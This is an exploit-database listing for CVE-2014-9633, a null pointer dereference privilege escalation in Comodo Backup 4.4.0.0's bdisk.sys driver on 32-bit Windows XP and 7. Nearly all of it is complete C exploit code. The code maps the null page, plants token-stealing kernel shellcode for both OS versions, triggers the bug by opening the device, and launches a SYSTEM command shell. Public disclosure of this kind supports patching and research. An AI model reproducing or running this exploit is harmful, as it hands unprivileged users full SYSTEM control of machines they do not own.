Lucene search

K
packetstormParvez AnwarPACKETSTORM:130094
HistoryJan 26, 2015 - 12:00 a.m.

Comodo Backup 4.4.0.0 NULL Pointer Dereference

2015-01-2600:00:00
Parvez Anwar
packetstormsecurity.com
23

0.081 Low

EPSS

Percentile

94.3%

`/*  
  
Exploit Title - Comodo Backup Null Pointer Dereference Privilege Escalation  
Date - 23rd January 2015  
Discovered by - Parvez Anwar (@parvezghh)  
Vendor Homepage - https://www.comodo.com  
Tested Version - 4.4.0.0  
Driver Version - 1.0.0.957 - bdisk.sys  
Tested on OS - 32bit Windows XP SP3 and Windows 7 SP1  
OSVDB - http://www.osvdb.org/show/osvdb/112828  
CVE ID - CVE-2014-9633  
Vendor fix url - http://forums.comodo.com/news-announcements-feedback-cb/comodo-backup-44123-released-t107293.0.html  
Fixed version - 4.4.1.23  
Fixed Driver Ver - 1.0.0.972  
  
  
  
Note  
----  
Does not cleanly exit, had to use some leave instructions to get the command  
prompt. If you know of a better way please do let me know.  
  
Below in from Windows XP in IofCallDriver function.  
  
eax = 12h  
  
804e37fe 8b7108 mov esi,dword ptr [ecx+8] <- control the null page as ecx = 00000000  
804e3801 52 push edx  
804e3802 51 push ecx  
804e3803 ff548638 call dword ptr [esi+eax*4+38h] ds:0023:00000080=00000090  
804e3807 5e pop esi  
804e3808 c3 ret  
  
  
esi + eax*4 + 38h = 0 + 48 + 38 = 80h if ESI is null  
  
  
*/  
  
  
#include <stdio.h>  
#include <windows.h>  
  
#define BUFSIZE 4096  
  
  
typedef NTSTATUS (WINAPI *_NtAllocateVirtualMemory)(  
IN HANDLE ProcessHandle,  
IN OUT PVOID *BaseAddress,  
IN ULONG ZeroBits,  
IN OUT PULONG RegionSize,  
IN ULONG AllocationType,  
IN ULONG Protect);  
  
  
// Windows XP SP3  
  
#define XP_KPROCESS 0x44 // Offset to _KPROCESS from a _ETHREAD struct  
#define XP_TOKEN 0xc8 // Offset to TOKEN from the _EPROCESS struct  
#define XP_UPID 0x84 // Offset to UniqueProcessId FROM the _EPROCESS struct  
#define XP_APLINKS 0x88 // Offset to ActiveProcessLinks _EPROCESS struct  
  
// Windows 7 SP1  
  
#define W7_KPROCESS 0x50 // Offset to _KPROCESS from a _ETHREAD struct  
#define W7_TOKEN 0xf8 // Offset to TOKEN from the _EPROCESS struct  
#define W7_UPID 0xb4 // Offset to UniqueProcessId FROM the _EPROCESS struct  
#define W7_APLINKS 0xb8 // Offset to ActiveProcessLinks _EPROCESS struct  
  
  
  
BYTE token_steal_xp[] =  
{  
0x52, // push edx Save edx on the stack  
0x53, // push ebx Save ebx on the stack  
0x33,0xc0, // xor eax, eax eax = 0  
0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD  
0x8b,0x40,XP_KPROCESS, // mov eax, [eax+XP_KPROCESS] Retrieve _KPROCESS  
0x8b,0xc8, // mov ecx, eax  
0x8b,0x98,XP_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+XP_TOKEN] Retrieves TOKEN  
0x8b,0x80,XP_APLINKS,0x00,0x00,0x00, // mov eax, [eax+XP_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks  
0x81,0xe8,XP_APLINKS,0x00,0x00,0x00, // sub eax, XP_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks  
0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // cmp [eax+XP_UPID], 4 | Compares UniqueProcessId with 4 (System Process)  
0x75,0xe8, // jne ----  
0x8b,0x90,XP_TOKEN,0x00,0x00,0x00, // mov edx, [eax+XP_TOKEN] Retrieves TOKEN and stores on EDX  
0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX  
0x89,0x90,XP_TOKEN,0x00,0x00,0x00, // mov [eax+XP_TOKEN], edx Overwrites the TOKEN for the current KPROCESS  
0x5b, // pop ebx Restores ebx  
0x5a, // pop edx Restores edx  
0xc9, // leave  
0xc9, // leave  
0xc9, // leave  
0xc9, // leave  
0xc3 // ret  
};  
  
  
  
BYTE token_steal_w7[] =  
{  
0x52, // push edx Save edx on the stack  
0x53, // push ebx Save ebx on the stack  
0x33,0xc0, // xor eax, eax eax = 0  
0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD  
0x8b,0x40,W7_KPROCESS, // mov eax, [eax+W7_KPROCESS] Retrieve _KPROCESS  
0x8b,0xc8, // mov ecx, eax  
0x8b,0x98,W7_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+W7_TOKEN] Retrieves TOKEN  
0x8b,0x80,W7_APLINKS,0x00,0x00,0x00, // mov eax, [eax+W7_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks  
0x81,0xe8,W7_APLINKS,0x00,0x00,0x00, // sub eax, W7_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks  
0x81,0xb8,W7_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // cmp [eax+W7_UPID], 4 | Compares UniqueProcessId with 4 (System Process)  
0x75,0xe8, // jne ----  
0x8b,0x90,W7_TOKEN,0x00,0x00,0x00, // mov edx, [eax+W7_TOKEN] Retrieves TOKEN and stores on EDX  
0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX  
0x89,0x90,W7_TOKEN,0x00,0x00,0x00, // mov [eax+W7_TOKEN], edx Overwrites the TOKEN for the current KPROCESS  
0x5b, // pop ebx Restores ebx  
0x5a, // pop edx Restores edx  
0xc9, // leave  
0xc9, // leave  
0xc9, // leave  
0xc9, // leave  
0xc3 // ret  
};  
  
  
  
BYTE ESInull[] = "\x00\x00\x00\x00";   
  
BYTE RETaddr[] = "\x90\x00\x00\x00";   
  
  
  
int GetWindowsVersion()  
{  
int v = 0;  
DWORD version = 0, minVersion = 0, majVersion = 0;  
  
version = GetVersion();  
  
minVersion = (DWORD)(HIBYTE(LOWORD(version)));  
majVersion = (DWORD)(LOBYTE(LOWORD(version)));  
  
if (minVersion == 1 && majVersion == 5) v = 1; // "Windows XP;  
if (minVersion == 1 && majVersion == 6) v = 2; // "Windows 7";  
  
return v;  
}  
  
  
void spawnShell()  
{  
STARTUPINFOA si;  
PROCESS_INFORMATION pi;  
  
  
ZeroMemory(&pi, sizeof(pi));  
ZeroMemory(&si, sizeof(si));  
si.cb = sizeof(si);  
  
si.cb = sizeof(si);  
si.dwFlags = STARTF_USESHOWWINDOW;  
si.wShowWindow = SW_SHOWNORMAL;  
  
if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))  
{  
printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError());  
return;  
}  
  
CloseHandle(pi.hThread);  
CloseHandle(pi.hProcess);  
}  
  
  
  
int main(int argc, char *argv[])  
{  
  
_NtAllocateVirtualMemory NtAllocateVirtualMemory;  
NTSTATUS allocstatus;  
LPVOID base_addr = (LPVOID)0x00000001;   
DWORD written;  
int rwresult;  
int size = BUFSIZE;  
HANDLE hDevice;  
unsigned char buffer[BUFSIZE];   
unsigned char devhandle[MAX_PATH];  
  
  
printf("-------------------------------------------------------------------------------\n");  
printf(" COMODO Backup (bdisk.sys) Null Pointer Dereference EoP Exploit \n");  
printf(" Tested on Windows XP SP3/Windows 7 SP1 (32bit) \n");  
printf("-------------------------------------------------------------------------------\n\n");  
  
  
sprintf(devhandle, "\\\\.\\%s", "bdisk");  
  
NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtAllocateVirtualMemory");  
  
if (!NtAllocateVirtualMemory)  
{  
printf("[-] Unable to resolve NtAllocateVirtualMemory\n");  
return -1;   
}  
  
printf("[+] NtAllocateVirtualMemory [0x%p]\n", NtAllocateVirtualMemory);  
printf("[+] Allocating memory at [0x%p]\n", base_addr);  
  
allocstatus = NtAllocateVirtualMemory(INVALID_HANDLE_VALUE, &base_addr, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  
  
if (allocstatus)  
{  
printf("[-] An error occured while mapping executable memory. Status = 0x%08x\n", allocstatus);  
printf("Error : %d\n", GetLastError());  
return -1;  
}  
printf("[+] NtAllocateVirtualMemory successful\n");  
  
memset(buffer, 0x90, BUFSIZE);  
memcpy(buffer+0x00000007, ESInull, sizeof(ESInull)-1);  
memcpy(buffer+0x0000007f, RETaddr, sizeof(RETaddr)-1);  
  
if (GetWindowsVersion() == 1)  
{  
printf("[i] Running Windows XP\n");  
memcpy(buffer+0x00000100, token_steal_xp, sizeof(token_steal_xp));  
printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp));  
}  
else if (GetWindowsVersion() == 2)  
{  
printf("[i] Running Windows 7\n");  
memcpy(buffer+0x00000100, token_steal_w7, sizeof(token_steal_w7));  
printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_w7));  
}  
else if (GetWindowsVersion() == 0)  
{  
printf("[i] Exploit not supported on this OS\n\n");  
return -1;  
}   
  
rwresult = WriteProcessMemory(INVALID_HANDLE_VALUE, (LPVOID)0x00000001, buffer, BUFSIZE, &written);  
  
if (rwresult == 0)  
{  
printf("[-] An error occured while mapping writing memory: %d\n", GetLastError());  
return -1;  
}  
printf("[+] WriteProcessMemory %d bytes written\n", written);   
  
printf("[~] Press any key to Exploit . . .\n");  
getch();  
  
hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);  
  
if (hDevice == INVALID_HANDLE_VALUE)  
{  
printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError());  
return -1;  
}  
else  
{  
printf("[+] Open %s device successful\n", devhandle);  
}  
  
CloseHandle(hDevice);  
  
printf("[+] Spawning SYSTEM Shell\n");  
spawnShell();  
  
return 0;  
}  
  
`

0.081 Low

EPSS

Percentile

94.3%